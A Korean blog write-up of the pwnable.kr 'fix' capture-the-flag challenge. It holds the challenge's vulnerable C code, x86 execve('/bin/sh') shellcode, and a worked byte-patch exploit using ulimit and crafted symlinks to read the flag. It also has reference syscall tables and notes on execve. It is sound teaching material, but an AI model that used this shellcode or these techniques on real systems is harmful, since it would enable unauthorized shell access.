#include <stdio.h>
// 23byte shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
void shellcode(){
// a buffer we are about to exploit!
// [ebp-0x1c]
char buf[20];
// prepare shellcode on executable stack!
strcpy(buf, sc);
// overwrite return address!
// [ebp+0x4] = buf+32
*(int*)(buf+32) = buf;
printf("get shell\n");
}
int main(){
printf("What the hell is wrong with my shellcode??????\n");
printf("I just copied and pasted it from shell-storm.org :(\n");
printf("Can you fix it for me?\n");
unsigned int index=0;
printf("Tell me the byte index to be fixed : ");
scanf("%d", &index);
fflush(stdin);
if(index > 22) return 0;
int fix=0;
printf("Tell me the value to be patched : ");
scanf("%d", &fix);
// patching my shellcode
sc[index] = fix;
// this should work..
shellcode();
return 0;
}
- Partial RELRO No canary found NX disabled No PIE
- 디스어셈블해보니 execve(ebx,ecx,edx) 호출함. 이때 ecx, edx는 널포인터로 끝나는 배열이어야 함
(ecx는 문자열 배열, edx는 "key=value" 형태의 문자열 배열)
0: 31 c0 xor eax,eax
2: 50 push eax ; \x00
3: 68 2f 2f 73 68 push 0x68732f2f ; //sh
8: 68 2f 62 69 6e push 0x6e69622f ; /bin
d: 89 e3 mov ebx,esp ; *filename
f: 50 push eax
10: 53 push ebx ; ["/bin/sh", NULL]
11: 89 e1 mov ecx,esp ; **argv
13: b0 0b mov al,0xb ; execve
15: cd 80 int 0x80
- gdb 분석해보니 push ebx; 여기부터 이상하게 바뀌네?
- shellcode 시작 시 esp=[ebp+0x8]=[buf+0x24]
- push eax에서 [buf+20~23]에 쓰이고, push ebx에서 [buf+16~19]에 쓰여 쉘코드 영역 침범!
- esp 값을 바꿔야하는데,, filename까진 필수이므로 첫 15바이트는 건들 수 없음
- push eax부터 shellcode 침범하기에 여기 무조건 바꿔야 함.
[1] push eax를 pop esp로 바꾼다면? (50 -> 5c)
esp = 0x6e69622f 들어가고
ebx = "/bin/sh\x00" 문자열 주소
ecx = 이중 포인터 (esp+0x4부터 4byte가 0이어야 ["/bin/sh", NULL] 형태)
edx = 0 (x/wx $edx 해보니 0 담겨있음)
pwndbg> x/wx 0x6e69622f
0x6e69622f: Cannot access memory at address 0x6e69622f
접근할 수 없는 메모리 영역이라고 나온다
=> ulimit -s 이용해 스택영역 확장시키면 제대로 exploit 된다!!
[2] push eax를 leave(mov esp, ebp; pop ebp;)로 바꾼다면? (50 -> c9)
esp = main함수의 ebp+4 (main RET 가리킴)
ebp = main함수의 sfp 값
push ebx 이후 스택상황: "/bin/sh" 주소 | main RET | 4byte | 4byte | nullbyte
pwndbg> x/104x $ebp+0x4 ; main 함수
0xffbef8fc: 0xf7d8cfa1 0xf7f4c000 0xf7f4c000 0x00000000
=> ecx는 NULL로 끝나는 배열 포인터고, edx=NULL. 문제 없어보이는데
=> /bin//sh: 0: Can't open ���� ~~ P��c 이런 메시지 뜨면서 안되네
=> ecx로 전달한 argv 배열 인자들을 /bin/sh에서 실행하다가 문제가 생긴듯.
argv[0] = "/bin/sh"
argv[1] = 0x83, 0xc4, 0x10, 0x83, 0xec, 0x0c, 0x50, 0xe8, 0xf3, 0x75, 0x01, 0x00
argv[2] = 0x8c, 0x7d, 0x1d, 0x00
argv[3] = 0x8c, 0x7d, 0x1d, 0x00
=> argv[1] 문자열을 이름으로 가지는 심볼릭 링크 하나 만들어주면 Error 안 뜰듯
ln -s /bin/cat $'\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01'
=> syntax error: unterminated quote string
=> 쉘 파일 만들어 거기다가 완성된 명령어를 입력하자 (cat flag)
touch a.sh
1) ln -s /home/minseo/Desktop/pwnableKr/Rookiss/fix/a.sh $'\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01'
2) ln -s /home/minseo/Desktop/pwnableKr/Rookiss/fix/a.sh `perl -e 'print"\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01"'`
=> 제대로 a.sh 실행된다
=> 원격에선 왜 안될까 했더니 저 담긴 문자열이 다르더라!!!
<exploit 계획>
1. /tmp 아래 fix 디렉터리 만들고
2. a.sh와 그의 심볼릭 링크인 '\x83\xc4\x10\x83\xec\x0c\x50\xe8\x8d\x63\x01'를 만든다
3. a.sh에 cat /home/fix/flag 입력 후 저장
4. fix 바이너리 실행
1. Linux syscall table (x86)
32bit환경에서는 int 0x80 인스트럭션을 통해 system call을 수행한다.
NR | syscall | %eax | arg0 (%ebx) | arg1 (%ecx) | arg2 (%edx) | arg3 (%esi) | arg4 (%edi) | arg5 (%ebp) |
0 | restart_syscall | 0x00 | - | - | - | - | - | - |
1 | exit | 0x01 | int error_code | - | - | - | - | - |
3 | read | 0x03 | unsigned int fd | char *buf | size_t count | - | - | - |
4 | write | 0x04 | unsigned int fd | const char *buf | size_t count | - | - | - |
5 | open | 0x05 | const char *filename | int flags | umode_t mode | - | - | - |
6 | close | 0x06 | unsigned int fd | - | - | - | - | - |
11 | execve | 0x0b | const char *filename | const char *const *argv | const char *const *envp | - | - | - |
2. Linux syscall table (x64)
64bit환경에서는 syscall 인스트럭션을 통해 system call을 수행한다.
syscall number | syscall | %rax | %rdi | %rsi | %rdx | %rcx | %r8 | %r9 |
0 | sys_read | 0x0 | unsigned int fd | char *buf | size_t count | |||
1 | sys_write | 0x1 | unsigned int fd | const char *buf | size_t count | |||
2 | sys_open | 0x2 | const char *filename | int flags | int mode | |||
3 | sys_close | 0x3 | unsigned int fd | |||||
59 | sys_execve | 0x3B | const char *filename | const char *const argv[] | const char *const envp[] | |||
60 | sys_exit | 0x3C | int error_code |
3. ulimit
프로세스의 자원 한도를 설정하는 명령어. 커널단에서의 소프트웨어 및 하드웨어 한도 설정에 관련된 명령어.
두가지 한도가 있다.
1. soft limit (-a 옵션으로 확인 가능) : 새로운 프로그램을 생성하면 기본으로 적용되는 한도
2. hard limit (-aH 옵션으로 확인 가능) : 소프트한도에서 최대로 늘릴 수 있는 한도
옵션값
-a | 모든 제한 사항을 보여줌. |
-c | 최대 코어 파일 사이즈 |
-d | 프로세스 데이터 세그먼트의 최대 크기 |
-f | shell에 의해 만들어질 수 있는 파일의 최대 크기 |
-s | 최대 스택 크기 |
-n | open file descriptor의 최대 수 |
-u | 한 유저가 실행할 수 있는 process의 최대 수 |
-v | 최대 가상 메모리의 양 |
-S | 소프트 한도 |
-H | 하드 한도 |
=> ulimit -s unlimited 해서 스택 영역 확장
4. execve() 함수 두번째 인자(*argv[])로 원소 2개 이상인 배열 넘겼을 때?
char* argv[] = {"/bin/sh","sh","-c","/bin/ls", (char*) NULL};
execve(argv[0], argv, environ);
*argv[]는 실행한 프로그램(파일, filename="/bin/sh")에 전달되는 매개변수
The argv parameter is an array of strings that represents the program arguments, with the first element being the name of the program itself.
argv[0]은 실행한 프로그램의 전체 이름이어야 한다
argv[1]부터 실행한 프로그램 /bin/sh에 전달되는 매개변수이다.
=> 즉 execve 함수를 통해 /bin/sh sh -c /bin/ls 이라는 shell command를 실행한 것이다.
/bin/sh: 0: Can't open sh
이런 에러 메시지를 마주쳤다면 /bin/sh가 실행되면서 sh라는 script를 실행하려고 했지만 current directory에서 발견하지 못한 것
=> can't open 메시지 마주쳤다면 전체경로 입력해주면 대부분 해결
5. Syntax error: Unterminated quoted string
- /bin/sh abc 입력 시 발생 (인자로 제대로 넘어가지 않음)
In the command you entered, /bin/sh abc, since abc is not enclosed in quotes, the shell treats it as a separate command rather than an argument to /bin/sh.
=> /bin/sh -c 'abc' 하면 된다!! (만약 /bin/sh 실행 후 abc 명령어 실행하고 싶다면)
=> 혹은 쉘 스크립트 만들고 인자로 전달해주면 된다: /bin/sh a.sh
6. non-printable 문자로 파일 이름 설정하려면
ln -s /tmp/fix/a.sh $'\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01'
ln -s /tmp/fix/a.sh `perl -e 'print"\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01"'`
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Rookiss] loveletter (0) | 2023.02.26 |
---|---|
pwnable.kr - [Rookiss] echo2 (0) | 2023.02.25 |
pwnable.kr - [Rookiss] echo1 (0) | 2023.02.23 |
pwnable.kr - [Rookiss] ascii_easy (0) | 2023.02.19 |
pwnable.kr - [Rookiss] tiny_easy (0) | 2023.02.19 |